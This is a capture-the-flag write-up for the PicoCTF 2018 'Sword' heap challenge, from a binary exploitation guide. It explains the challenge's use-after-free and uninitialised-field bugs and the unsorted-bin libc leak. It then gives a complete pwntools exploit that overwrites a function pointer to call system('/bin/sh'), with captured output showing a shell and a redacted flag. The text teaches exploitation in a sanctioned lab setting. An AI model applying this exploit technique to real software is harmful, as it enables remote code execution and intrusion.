PicoCTF 2018 - Sword

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

Take a moment to browse through the provided code for sword. There are actually several bugs hidden away in there. For our purposes, we’ll use at least two of them.

Firstly, create_sword() does not initialize all of the fields for a sword structure (sword_name, use_sword, …).

void create_sword() {
	int slot = pick_sword_free_slot();
	if (slot == -1) {
		printf("Oh my! There are no slot for new swords!\n");
		return;
	}

	sword_lists[slot].sword = malloc(sizeof(struct sword_s));
	if (!sword_lists[slot].sword) {
	        puts("malloc() returned NULL. Out of Memory\n");
		exit(-1);
	}

	sword_lists[slot].is_used = 1;
	sword_lists[slot].sword->is_hardened = 0;
	printf("New sword is forged ^_^. sword index is %d.\n", slot);
}

Secondly, when hardening a sword, names that are too long cause the sword memory to be freed, but still marked as in-use (use-after-free).

if (len > MAX_SWORD_LEN) {
  printf("The name is too long.\n");
  free(sword_lists[slot].sword); // Does not touch sword_lists[slot].is_used !
  return;
}

Strategy

Just as you will for the rest of the challenges, your first task will be to leak a libc address.

Since this is a heap challenge, and you are given control over the size of allocation for the name variable, you can use that control to allocate memory that ends up in the unsorted bin when freed. If there is a use-after-free (in this case caused by stale data that was never initialized) allowing you to see the “name” variable after it’s been freed, then the first 8 bytes of the variable would now represent a fwd pointer in the doubly linked for the unsorted bin chunks, and assuming there is only one chunk in the unsorted bin, then that fwd pointer would point back into an internal memory structure inside libc. If you need a refresher on “unsorted bins”, you should review the “Background Information” section of freecalc.

Finally, take notice that the sword struct contains a function pointer that accepts a char* argument:

struct sword_s {
	int name_len;
	int weight;
	
	char *sword_name;
	void (*use_sword)(char *ptr);
	int is_hardened;
};

Even better, it also remains uninitialized when creating a sword. If you were to point it to some other function with a similar signature (say the system() function inside libc), then you may be able to trick the executable into giving you a shell.

Background Info

One of the things that makes this challenge easier is that you are given full control over the size of allocations the executable makes for at least one variable (the name). This means that you can easily allocate “larger chunks” (that return to the unsorted bin when freed, as opposed to a fast bin). It also means that you can re-allocate a chunk of a known size and fill it with data. If there are stale pointers to the user-data section of this re-allocated chunk, then you now have some control over that data.

Let’s take a closer look at what happens after you allocate a buffer for the name:

char ch;
int i;
for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' &&
  i < len && ch != -1; i++) {
  sword_lists[slot].sword->sword_name[i] = ch;
}
sword_lists[slot].sword->sword_name[i] = '\x00';

The program will read one character at a time, until it hits a newline (‘\n’), and then write that character directly into the buffer. Practically, this means that newlines are forbidden. However, if you look closely at the for loop conditions, you’ll notice another condition: ch != -1. This means that not only are newlines forbidden, but there is another char that is treated nearly identically as a newline. That character is ‘\xff’ - because that character, when sign-extended to the same size as the literal -1 (int) is identical to -1. This causes some problems for us, because with ASLR turned off, the address that libc is loaded into will often contain the byte pattern \xff. Fortunately for us, that statement is not very likely when ASLR is turned on! Technically, it may still happen, but because the offset is randomized, the majority of the time the base address of libc will not contain ‘\xff’s.

When iterating on this challenge, please ensure that ASLR is turned on, or you will have difficulty.

NOTE: recall from got-2-learn-libc that you can turn ASLR on globally by running cat 2 > /proc/sys/kernel/randomize_va_space as root.

If you think you are ready, connect to this challenge using nc 2018shell.picoctf.com 10491.

Exploitation

Breaking it up step-by-step, the first thing you need to do is leak libc. To do that, you need to allocate, then free, a name that will end up in the unsorted bin. Then you need to somehow be able to “print” it out.

NOTE: You must to be careful when freeing allocations that are immediately adjacent to “the wilderness” (which is the name of top chunk that represents the current end of allocated memory). Chunks that would go into fastbins are never “really” freed, so they are generally fine (although there is a compile time option to change that behavior), however other chunks will be opportunistically merged with the top chunk and/or other adjacent free chunks. Often you will have to force a sacrificial allocation so that your target chunk is not immediately adjacent to other free chunks. You’ll see me do this below.

Consider the following actions:

  1. Forge a sword (#0)
  2. Harden the #0 sword, reserving space for 135 chars (allocates 135+1 bytes, which requires a chunk of size 136 + 8 = 144). This allocation will (by default - again the actual threshold is a runtime option for libc) exceed the threshold for fastbins.
  3. Forge a sword (#1) - Sacrificial allocation so that the name is not immediately adjacent to the wilderness
  4. Destroy the 0th sword - Frees both the sword and the name. The chunk containing the sword struct returns to a fastbin, and the chunk containing the name returns to the unsorted bin.
  5. Forge a sword (#0) - allocates a sword, reusing the chunk at the top of the fastbin (LIFO)
  6. Show a sword (#0) - since the name pointer is never initialized, it will still contain a pointer to the previous name, which is now in the unsorted bin. This will print out an address inside libc’s memory space.

BOOM There’s your libc leak. In this case the value will represent a pointer to the “chunk header” of the unsorted bin, which doesn’t actually exist (the unsorted bin management structure has fwd/bkd pointers, but isn’t actually a chunk, it uses the same offsets to simplify the code). This pointer IS at a fixed offset relative to libc, and this case, that offset is 0x3c4b78 (easily determinable by comparing against the actual base address of libc, typically found in /proc mount point under the process’s pid, in the maps file).

Next up? You have to figure out how to use the leak to launch a shell. It’s easy enough to determine the offset of the system() function inside libc:

$ objdump -T ./libc.so.6 | grep '\Wsystem'
0000000000045390  w   DF .text  000000000000002d  GLIBC_2.2.5 system

What about the string “/bin/sh”? Does that exist somewhere?

$ objdump -s -j .rodata libc.so.6 | grep "/bin/sh"
 18cd50 6c2e6300 2d63002f 62696e2f 73680065  l.c.-c./bin/sh.e

Yup, there it is, offset 0x18cd57 of libc.

Ok, well, we already know we can force the program to free a struct sword_s that is still marked as in use. What you need to figure out is how can you allocate that chunk and fill with data that would give you a shell. Start with examining the struct sword_s layout:

struct sword_s { // 24 bytes + 8 byte padding = 32 bytes - chunk of size 48 (0x30) (fastbin)
	int name_len;
	int weight;
	
	char *sword_name;
	void (*use_sword)(char *ptr);
	int is_hardened;
};

Here, the compiler has chosen that this structure should have a size of 32 bytes, even though all the fields could fit in 28 bytes (3*4 + 2*8). This is essentially due the preferred alignment of the struct (the pointers should be 8 byte aligned), so 4 bytes of padding is tacked on to the end. If the struct itself is 32 bytes, then malloc(sizeof(struct sword_s)) is the same as malloc(32), and will allocate a chunk that is at least 32 + 8 (chunk header) bytes. Since all chunks are 16 byte aligned, it will actually use a chunk that is 48 bytes (instead of 40).

If you were to create a name to occupy that same chunk, it would need to be at least 24 chars long (plus a NULL char at the end to make 25 - if you add in a chunk header, that requires 33 bytes, which will get rounded to 48 bytes after 16 byte alignment). If you wanted to overwrite the function pointer and launch a shell, then the first 8 bytes don’t really matter, but the next 8 bytes should be the pointer to “/bin/sh”, and the 8 bytes after that should be the pointer to system().

Consider taking these steps after leaking libc to achieve a shell:

  1. Harden sword #0, reserving space for 300 chars - this will error out and free the sword structure but keep the sword marked as “in-use”
  2. Harden sword #1, reserve space for 24-39 chars - use bytes that emulate a struct sword_s, but point sword_name at the address of “/bin/sh”, and use_sword at the address of system()
  3. Equip sword #0 - this will call the function pointer in the re-used chunk that now points at system() with the argument of the sword_name that now points at “/bin/sh”.

Here it is all together, but using pwntools:

#!/bin/env python3

from pwn import *

def parse(str):
    return u64(str.ljust(8,'\0'))

def echo(str):
    print(str)
    p.sendline(str)
    _ = "".join(map(chr, p.recvline(timeout=2))).rstrip()
    print(_)
    return _

def wait_prompt():
    print("".join(map(chr, p.recvuntil("7. Quit.\n"))).rstrip())

def forge():
    wait_prompt()
    echo("1")

def destroy(index):
    wait_prompt()
    echo("4")
    echo(str(index))

def harden(index, namelen, name):
    wait_prompt()
    echo("5")
    echo(str(index))
    resp = echo(str(namelen))
    if not resp.startswith("The name is too long."):
        echo(name)
        echo("-1") # -1 is the only good answer to weight!

def show(index):
    wait_prompt()
    echo("3")
    echo(str(index))
    _ = p.recvuntil("The name is ")
    name = "".join(map(chr, p.recvline(keepends=False)))
    print("".join(map(chr,_)) + name)
    return name

def equip(index):
    wait_prompt()
    echo("6")
    echo(str(index))

lib = ELF("libc.so.6")
libc_offset = 0x3c4b78 # unsorted bin "chunk header"
system_offset = lib.symbols["system"]
binsh_offset = next(lib.search(b'/bin/sh\0'))

#p = process(["ltrace", "-o", "trace", "-e", "malloc+printf+free+realloc+memcpy", "./sword"], env={"LD_PRELOAD": "noalarm.so"})
#p = process(["ltrace", "-o", "trace", "-e", "malloc+printf+free+realloc+memcpy", "./sword"])
#p = process("./sword")
#p = gdb.debug("./sword", "break main\ncontinue\n\nbreak 264\ncall alarm(0)\nd 2\nbreak 158\nbreak 177\ncontinue\n")
p = remote("2018shell.picoctf.com", 10491)

forge() #0
harden(0, 135, "abc") # name is large enough to be a small (not fast) chunk
forge() #1 - allocate new chunk - moves the wilderness
destroy(0) # frees sword and name

forge() # 0 - allocates a sword, reusing the chunk at the top of the fastbin (LIFO)
addr = parse(show(0))

print("LEAKED LIBC ADDR: 0x%08x" % addr)
libc_base = addr - libc_offset
print("LIBC BASE ADDR: 0x%08x" % libc_base)

binsh = libc_base + binsh_offset
print("\"/bin/sh\" string: 0x%08x" % binsh)
system = libc_base + system_offset
print("system(): 0x%08x" % system)

harden(0, 300, "") # too large, frees sword #0, but still marked as in-use
harden(1, 24, b"U"*8 + p64(binsh) + p64(system))
equip(0)

p.interactive()

Let’s try it out, the challenge is available at 2018shell.picoctf.com, port 10491.

$ python3 sword_pwn.py
[*] './libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 2018shell.picoctf.com on port 10491: Done
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
1
New sword is forged ^_^. sword index is 0.
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
5
What's the index of the sword?
0
What's the length of the sword name?
135
Plz input the sword name.
abc
What's the weight of the sword?
-1
OK....Plz wait for forging the sword..........
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
1
New sword is forged ^_^. sword index is 1.
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
4
What's the index of the sword?
0
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
1
New sword is forged ^_^. sword index is 0.
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
3
What's the index of the sword?
0
The weight is 0
The name is x»Þ\^\x7f
LEAKED LIBC ADDR: 0x7f5e5cdebb78
LIBC BASE ADDR: 0x7f5e5ca27000
"/bin/sh" string: 0x7f5e5cbb3d57
system(): 0x7f5e5ca6c390
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
5
What's the index of the sword?
0
What's the length of the sword name?
300
The name is too long.
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
5
What's the index of the sword?
1
What's the length of the sword name?
24
Plz input the sword name.
b'UUUUUUUUW=\xbb\\^\x7f\x00\x00\x90\xc3\xa6\\^\x7f\x00\x00'
What's the weight of the sword?
-1
OK....Plz wait for forging the sword..........
/* Welcome! */
1. Forge a sword.
2. Synthesise two sword.
3. Show a sword.
4. Destroy a sword.
5. Harden a sword.
6. Equip a sword.
7. Quit.
6
What's the index of the sword?
0

[*] Switching to interactive mode
$ ls
flag.txt
libc.so.6
sword
sword.c
xinet_startup.sh
$ cat flag.txt
picoCTF{===REDACTED===}

Boom! Head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.